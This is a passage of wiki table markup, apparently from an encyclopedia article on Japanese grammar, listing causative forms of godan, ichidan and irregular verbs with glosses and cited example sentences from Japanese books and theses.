| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to fasten|結わせる|yuwaseru}}<br>{{#invoke:nihongo|nihongo_krt||結わす|yuwasu}}<br>{{#invoke:nihongo|nihongo_krt||結わしめる|yuwashimeru}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|say|<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>う|yū}}
| rowspan=2 style="text-align:right" | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ゆう}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いわ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to say|言わせる|iwaseru}}<br>{{#invoke:nihongo|nihongo_krt||言わす|iwasu}}<br>{{#invoke:nihongo|nihongo_krt||言わしめる|iwashimeru}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|ゆ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to say|言わせる|yuwaseru}}<br>{{#invoke:nihongo|nihongo_krt||言わす|yuwasu}}
|-
| {{#invoke:nihongo|nihongo_krt|win|勝つ|katsu}}
| style=text-align:right | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|つ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|た}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to win|勝たせる|kataseru}}<br>{{#invoke:nihongo|nihongo_krt||勝たす|katasu}}<br>{{#invoke:nihongo|nihongo_krt||勝たしめる|katashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|hunt|狩る|karu}}
| style=text-align:right | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to hunt|狩らせる|karaseru}}<br>{{#invoke:nihongo|nihongo_krt||狩らす|karasu}}<br>{{#invoke:nihongo|nihongo_krt||狩らしめる|karashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|exist|有る|aru}}
| style="text-align:right" | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to exist|有らせる|araseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:その近さを飛行機による距離の短縮と、時間の近さだけでなく、心の近さであらせるように私は諸君のために祈り、諸君も私のために祈っていただきたいと思うのであります。|page=336 |script-chapter=ja:世界の平和と人の救|orig-date=19 January 1957|script-title=ja:主張と随想 世界と日本と沖繩について|date=15 December 1957|last=Yanaihara|first=Tadao|publisher=University of Tokyo Press|url=https://dl.ndl.go.jp/pid/2975876/1/178}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:鉄道関係の技術的行政事務の調整にあらせるため,鉄道監督局に技術参事官をおく。|page=48 |script-chapter=ja:⒈研究所設立関係資料|script-title=ja:電子航法研究所年報|publisher=Electronic Navigation Research Institute|date=30 March 1969|url=https://dl.ndl.go.jp/pid/12745831/1/31}}</ref><ref>{{#invoke:cite|journal|script-quote=ja:⒜ <u>A</u> <u>B</u> sein lassen.{{#invoke:lang|lang|ja|<u>A</u>をして<u>B</u>たらしむ,<u>A</u>を<u>B</u>であらせる。)}}|lang=ja|page=671 |script-title=ja:言語資料としての聖書の一断面|last=Hamasaki|first=Nagatoshi|script-journal=ja:人文研究|volume=36 |number=10 |year=1984 |publisher={{#invoke:lang|lang|ja|[[Osaka City University|大阪市立大学]]文学部}}|url=https://ocu-omu.repo.nii.ac.jp/record/2005303/files/DBd0361001.pdf}}</ref><ref>{{#invoke:cite|thesis|lang=ja|script-quote=ja:したがって、人間を人間として正しくあらせるものが、道というものであるということもできる。このことを一般化していえば、道とは、物を物として正しくあらせるものということができよう。|page=197 |script-title=ja:自然と生命 ――『管子』 における法思想の特色について――|last=Kubuki|first=Shigehiro|degree=doctoral|publisher=Kanazawa University|year=1992 |url=https://kanazawa-u.repo.nii.ac.jp/?action=repository_action_common_download&item_id=40303&item_no=1&attribute_id=26&file_no=1}}</ref><ref>{{#invoke:cite|journal|script-journal=ja:国文学研究|volume=109|last=Yanase|first=Kiyoshi|date=15 March 1993|publisher=Waseda University|url=https://waseda.repo.nii.ac.jp/?action=repository_action_common_download&item_id=4769&item_no=1&attribute_id=162&file_no=1 |lang=ja|script-quote=ja:「十段ノ篇」に分けて「心ヲツクル便」として挙げた十ヶ条は、いわば仏教上の戒律を「十善」に述べた例に似て、未熟者を人がましく世にあらせる為に立てた教訓の条々であったようだ。|page=73 |script-title=ja:『十訓抄』「十段ノ篇」の序と童蒙教訓の書・要文抄}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:その言語の構造,そして人間がその言語を習得することが可能である。すなわち人間は生得的に言語を言語として意味あらせる法則,それを文法というのであるが,それを習得することができる。|page=109 |script-title=ja:法と言語―言語認識とメタ構造|last=Tsuji|first=Yoshimichi|script-journal=ja:社会科学編|volume=37 |number=4 |year=2002 |url=https://hannan-u.repo.nii.ac.jp/record/84/files/n001840.pdf}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:哲学的信仰は哲学的論理学に基づき、超越者へと思念する。それは主観客観を越えて、存在そのものを手もとにあらせることである。「<span style="text-emphasis:dot">{{#invoke:lang|lang|ja|である}}</span>{{#invoke:lang|lang|ja|」を越えて「}}<span style="text-emphasis:dot">{{#invoke:lang|lang|ja|ある}}</span>{{#invoke:lang|lang|ja|」の世界へ移りゆくことである。}}|script-title=ja:哲学的信仰と暗号解読 ――「ある」と「である」が違うこと――|script-journal=ja:コムニカチオン|page=43 |last=Ōmori|first=Takao|year=2004 |url=https://dl.ndl.go.jp/pid/11084257/1/1}}</ref><ref>{{#invoke:cite|thesis|lang=ja|script-quote=ja:我らが主であらせる<ruby>神<rp>(</rp><rt>ディオス</rt><rp>)</rp></ruby>は,一部のスペイン人たちを高貴な血統の者としてお造りになった。|page=64 |script-title=ja:植民地時代メキシコの先住民クロニカ(下)|last=Inoue|first=Yukitaka|year=2011 |publisher=[[Senshu University]]|url=https://senshu-u.repo.nii.ac.jp/record/2436/files/089_06.pdf}}</ref><ref>{{#invoke:cite|thesis|lang=ja|script-quote=ja:作者がオーギーを最後までユダヤ人として無垢であらせるために,急激な階級上昇の道を繰り返し迂回させたと理解できる。|last=Suzuki|first=Motoko|script-title=ja:ソール・ベローの小説にみるユダヤ系主人公の社会移動に伴う階級意識の揺らぎ|year=2014 |degree=doctoral|publisher=University of Osaka|url=https://ir.library.osaka-u.ac.jp/repo/ouka/all/33847/26880_Abstract.pdf}}</ref><br>{{#invoke:nihongo|nihongo_krt||有らす|arasu}}<br>{{#invoke:nihongo|nihongo_krt||有らしめる|arashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|lend|貸す|kasu}}
| style=text-align:right | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to lend|貸させる|kasaseru}}<br>{{#invoke:nihongo|nihongo_krt||貸さす|kasasu}}<br>{{#invoke:nihongo|nihongo_krt||貸さしめる|kasashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|love|愛す|aisu}}
| style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to love|愛させる|aisaseru}}<br>{{#invoke:nihongo|nihongo_krt||愛さす|aisasu}}<br>{{#invoke:nihongo|nihongo_krt||愛さしめる|aisashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|reach|達す|tassu}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to reach|達させる|tassaseru}}<br>{{#invoke:nihongo|nihongo_krt||達さす|tassasu}}<br>{{#invoke:nihongo|nihongo_krt||達さしめる|tassashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|write|書く|kaku}}
| style=text-align:right | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|か}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to write|書かせる|kakaseru}}<br>{{#invoke:nihongo|nihongo_krt||書かす|kakasu}}<br>{{#invoke:nihongo|nihongo_krt||書かしめる|kakashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|smell|嗅ぐ|kagu}}
| style=text-align:right | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぐ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|が}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to smell|嗅がせる|kagaseru}}<br>{{#invoke:nihongo|nihongo_krt||嗅がす|kagasu}}<br>{{#invoke:nihongo|nihongo_krt||嗅がしめる|kagashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|call|呼ぶ|yobu}}
| style=text-align:right | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぶ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ば}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to call|呼ばせる|yobaseru}}<br>{{#invoke:nihongo|nihongo_krt||呼ばす|yobasu}}<br>{{#invoke:nihongo|nihongo_krt||呼ばしめる|yobashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|read|読む|yomu}}
| style=text-align:right | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|む}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ま}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to read|読ませる|yomaseru}}<br>{{#invoke:nihongo|nihongo_krt||読ます|yomasu}}<br>{{#invoke:nihongo|nihongo_krt||読ましめる|yomashimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|die|死ぬ|shinu}}
| style=text-align:right | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぬ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|な}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to die|死なせる|shinaseru}}<br>{{#invoke:nihongo|nihongo_krt||死なす|shinasu}}<br>{{#invoke:nihongo|nihongo_krt||死なしめる|shinashimeru}}
|-
! colspan=5 style=text-align:left | ''Ichidan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|look|見る|miru}}
| style=text-align:right | {{#invoke:lang|lang|ja|見}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|見}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to look|見させる|misaseru}}<br>{{#invoke:nihongo|nihongo_krt||見さす|misasu}}<br>{{#invoke:nihongo|nihongo_krt||見しめる|mishimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|reach|達しる|tasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達し}}<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to reach|達しさせる|tasshisaseru}}<br>{{#invoke:nihongo|nihongo_krt||達せさせる|tassesaseru}}<br>{{#invoke:nihongo|nihongo_krt||達しさす|tasshisasu}}<br>{{#invoke:nihongo|nihongo_krt||達せさす|tassesasu}}<br>{{#invoke:nihongo|nihongo_krt||達ししめる|tasshishimeru}}<br>{{#invoke:nihongo|nihongo_krt||達せしめる|tasseshimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|guess|察しる|sasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察し}}<br>{{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to guess|察しさせる|sasshisaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>罷<rp>(</rp><rt>わざ</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby><ruby>反<rp>(</rp><rt>はん</rt><rp>)</rp></ruby><ruby>對<rp>(</rp><rt>たい</rt><rp>)</rp></ruby>の<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>を<ruby>云<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つて<ruby>他<rp>(</rp><rt>た</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>にん</rt><rp>)</rp></ruby>に<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しさせやうと<ruby>思<rp>(</rp><rt>おも</rt><rp>)</rp></ruby>ふのは<ruby>無<rp>(</rp><rt>む</rt><rp>)</rp></ruby><ruby>理<rp>(</rp><rt>り</rt><rp>)</rp></ruby>である。<ruby>相<rp>(</rp><rt>あひ</rt><rp>)</rp></ruby><ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>が<ruby>日<rp>(</rp><rt>に</rt><rp>)</rp></ruby><ruby>本<rp>(</rp><rt>ほん</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>じん</rt><rp>)</rp></ruby><ruby>同<rp>(</rp><rt>どう</rt><rp>)</rp></ruby><ruby>士<rp>(</rp><rt>し</rt><rp>)</rp></ruby>なら<ruby>或<rp>(</rp><rt>あるひ</rt><rp>)</rp></ruby>は<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しるかも<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>れないが、<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby>んな<ruby>習<rp>(</rp><rt>しふ</rt><rp>)</rp></ruby><ruby>慣<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby>の<ruby>無<rp>(</rp><rt>な</rt><rp>)</rp></ruby>い<ruby>西<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>洋<rp>(</rp><rt>やう</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>じん</rt><rp>)</rp></ruby>には<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しられる<ruby>譯<rp>(</rp><rt>わけ</rt><rp>)</rp></ruby>がない。|page=374 |url=https://dl.ndl.go.jp/pid/950724/1/191|script-title=ja:吾輩の見たる亞米利加|script-chapter=ja:(八十九) 澤庵石の米國人、土臺石の日本人|date=12 April 1914|last=Hosaka|first=Kiichi|location=[[Kyōbashi, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||察せさせる|sassesaseru}}<br>{{#invoke:nihongo|nihongo_krt||察しさす|sasshisasu}}<br>{{#invoke:nihongo|nihongo_krt||察せさす|sassesasu}}<br>{{#invoke:nihongo|nihongo_krt||察ししめる|sasshishimeru}}<br>{{#invoke:nihongo|nihongo_krt||察せしめる|sasseshimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|believe|信じる|shinjiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信じ}}<br>{{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to believe|信じさせる|shinjisaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「君は馬鹿だよ、怖ろしく馬鹿だ!」とイワンが反抗的に言つた、「噓をつくならもつと上手につくがいいよ、でないと、僕は聽いてやらないから。君は僕を實在論で征服しようと思つてゐるんだ、君の實在を僕に信じさせようとしてゐるんだ、ところが、僕は君の實在を信じたくない! そんなことを信じるものか!」|trans-quote="You're stupid, awfully stupid!" said Ivan defiantly, "You'd better lie more cleverly, or I won't listen to you. You're looking to overcome me with realism, trying to convince me of your existence, but I don't want to believe in your existence! I won't believe such a thing!"|quote=— Ты глуп, ты ужасно глуп! — строптиво сказал Иван, — ври умнее, а то я не буду слушать. Ты хочешь побороть меня реализмом, уверить меня, что ты есь, но я не хочу верить, что ты есь! Не поверю‼|url=https://dl.ndl.go.jp/pid/1704409/1/145|pp=277–278|script-chapter=ja:Ⅸ 惡魔、イワン・フョードロヰッチの惡夢|trans-chapter=Ⅸ The Devil, [[Ivan Fyodorovich Karamazov|Ivan Fyodorovich]]'s Nightmare|chapter=IX. Черт. Кошмар Ивана Федоровича|trans-title=[[The Brothers Karamazov]]|script-title=ja:カラマゾフ<small>の</small>兄弟|title=Братья Карамазовы|authorlink=Fyodor Dostoevsky|first=Fyodor Mikhailovich|last=Dostoevsky|translator-first=Shōzaburō|translator-last=Nakayama|publisher=Zenkoku Shobō|date=20 March 1949|location=[[Nakagyō-ku, Kyoto|Nakagyō, Kyoto]]|volume=3}}</ref><br>{{#invoke:nihongo|nihongo_krt||信ぜさせる|shinzesaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『それ程熱心に私の存在を否定なさる所を見ると、確かに私を信じて下さるんですね、』紳士は笑ひ乍ら言つた。<br>『些とも信じないさ! 麥粒の百分一も君なんかを信じないさ!』<br>『然し麥粒の百分一位は、あなたも信じてゐられるでせう。類似治療法<small>(病を以て病を治する法)</small>といふやつは最も有効なものでせうからね。さあ白狀して下さい、たとひ麥粒の一萬分の一でも、あなたは信じてゐられるんでせうね。』<br>『一分間も信じるものか!』イワンは腹立たしげに叫んだ。『だが僕は、君を信じたいと思つてゐる。』と彼は妙なことを言ひ足した。<br>『やあ! 是認しましたね! 然し私は溫和な人間ですからね、何れ又あなたの助力に參りますよ。兎に角、あなたが私を理解したんぢや無くて、私があなたを理解したんです。私が戀々あなたの忘れてゐる逸話をお話したのは、あなたが全然私を信じなくなる爲めだつたのです。』<br>『それは噓だ? 君の訪ねて來た目的といふのは、君の存在を僕に信ぜさせる爲めだつたのだ!』|trans-quote="Seeing as you deny my existence so vehemently, certainly you believe in me," laughed the gentleman.<br>"Not in the slightest! Not even to a hundredth of a grain do I believe in you!"<br>"But you would believe to a hundredth of a grain. Something called homoeopathy <small>(treating disease with disease)</small> would be most effective. Confess it, you would believe even to a ten-thousandth of a grain, wouldn't you?"<br>"Not for one minute!" cried [[Ivan Fyodorovich Karamazov|Ivan]] furiously. "But I would like to believe in you." added he strangely.<br>"Aha! You've admitted it! But I am good-natured, I'll come to your aid again. In any case, it wasn't you who figured me out, it was I who did you. I told you your anecdote which you'd already forgotten, so that you wouldn't believe in me at all."<br>"Is that a lie? The object of your visit is to convince me of your existence!"|quote=— По азарту, с каким ты отвергаешь меня, — засмеялся джентльмен, — я убеждаюсь, что ты все-таки в меня веришь.<br>— Нимало! На сотую долю не верю!<br>— Но на тысячную веришь. Гомеопатические-то доли ведь самые, может быть, сильные. Признайся, что веришь, ну на десятитысячную…<br>— Ни одной минуты! — яростно вскричал Иван. — Я, впрочем, желал бы в тебя поверить! — странно вдруг прибавил он.<br>— Эге! Вот, однако, признание! Но я добр, я тебе и тут помогу. Слушай: это я тебя поймал, а не ты меня! Я нарочно тебе твой же анекдот рассказал, который ты уже забыл, чтобы ты окончательно во мне разуверился.<br>— Лжешь! Цель твоего появления уверить меня, что ты есь.|url=https://dl.ndl.go.jp/pid/959012/1/221|pp=1306–1307|script-chapter=ja:カラマゾフ家の兄弟 <small>(下卷)</small>|trans-chapter=[[The Brothers Karamazov]] <small>(Book Two)</small>|chapter=Братья Карамазовы|translator-first=Kazuo|translator-last=Hirotsu|authorlink=Fyodor Dostoevsky|first=Fyodor Mikhailovich|last=Dostoevsky|script-title=ja:ドストイェフスキイ全集|trans-title=The Complete Works of Dostoevsky|volume=12|publisher={{#invoke:lang|lang|ja|ドストイェフスキイ全集刊行会}}|date=20 April 1926|editor-last=Kanda|editor-first=Toyoho|location=[[Nihonbashi]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じさす|shinjisasu}}<br>{{#invoke:nihongo|nihongo_krt||信ぜさす|shinzesasu}}<br>{{#invoke:nihongo|nihongo_krt||信じしめる|shinjishimeru}}<br>{{#invoke:nihongo|nihongo_krt||信ぜしめる|shinzeshimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進じる|shinjiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進じ}}<br>{{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to give|進じさせる|shinjisaseru}}<br>{{#invoke:nihongo|nihongo_krt||進ぜさせる|shinzesaseru}}<br>{{#invoke:nihongo|nihongo_krt||進じさす|shinjisasu}}<br>{{#invoke:nihongo|nihongo_krt||進ぜさす|shinzesasu}}<br>{{#invoke:nihongo|nihongo_krt||進じしめる|shinjishimeru}}<br>{{#invoke:nihongo|nihongo_krt||進ぜしめる|shinzeshimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進ぜる|shinzeru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進ぜ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進ぜ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to give|進ぜさせる|shinzesaseru}}<br>{{#invoke:nihongo|nihongo_krt||進ぜさす|shinzesasu}}<br>{{#invoke:nihongo|nihongo_krt||進ぜしめる|shinzeshimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|exit|出る|deru}}
| style=text-align:right | {{#invoke:lang|lang|ja|出}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|出}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to exit|出させる|desaseru}}<br>{{#invoke:nihongo|nihongo_krt||出さす|desasu}}<br>{{#invoke:nihongo|nihongo_krt||出しめる|deshimeru}}
|-
! colspan=5 style=text-align:left | Irregular verbs
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|do|する|suru}}
| rowspan=3 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to do|させる|saseru}}<br>{{#invoke:nihongo|nihongo_krt||さす|sasu}}
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to do|せさせる|sesaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:コロㇺブスは、<ruby>文<rp>(</rp><rt>もん</rt><rp>)</rp></ruby><ruby>無<rp>(</rp><rt>な</rt><rp>)</rp></ruby>しの<ruby>素<rp>(</rp><rt>す</rt><rp>)</rp></ruby><ruby>寒<rp>(</rp><rt>かん</rt><rp>)</rp></ruby><ruby>貧<rp>(</rp><rt>ぴん</rt><rp>)</rp></ruby>である、<ruby>破<rp>(</rp><rt>は</rt><rp>)</rp></ruby><ruby>產<rp>(</rp><rt>さん</rt><rp>)</rp></ruby><ruby>者<rp>(</rp><rt>もの</rt><rp>)</rp></ruby>だと<ruby>云<rp>(</rp><rt>い</rt><rp>)</rp></ruby>ふ<ruby>記<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>錄<rp>(</rp><rt>ろく</rt><rp>)</rp></ruby>さへある。<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>で<ruby>船<rp>(</rp><rt>ふね</rt><rp>)</rp></ruby>を<ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>に<ruby>入<rp>(</rp><rt>い</rt><rp>)</rp></ruby>れる<ruby>方<rp>(</rp><rt>はう</rt><rp>)</rp></ruby><ruby>法<rp>(</rp><rt>はふ</rt><rp>)</rp></ruby>は、<ruby>誰<rp>(</rp><rt>たれ</rt><rp>)</rp></ruby>かの<ruby>許<rp>(</rp><rt>もと</rt><rp>)</rp></ruby>に<ruby>行<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つて<ruby>指<rp>(</rp><rt>し</rt><rp>)</rp></ruby><ruby>揮<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>權<rp>(</rp><rt>けん</rt><rp>)</rp></ruby>を<ruby>委<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby><ruby>託<rp>(</rp><rt>たく</rt><rp>)</rp></ruby>して<ruby>貰<rp>(</rp><rt>もら</rt><rp>)</rp></ruby>ふ<ruby>外<rp>(</rp><rt>ほか</rt><rp>)</rp></r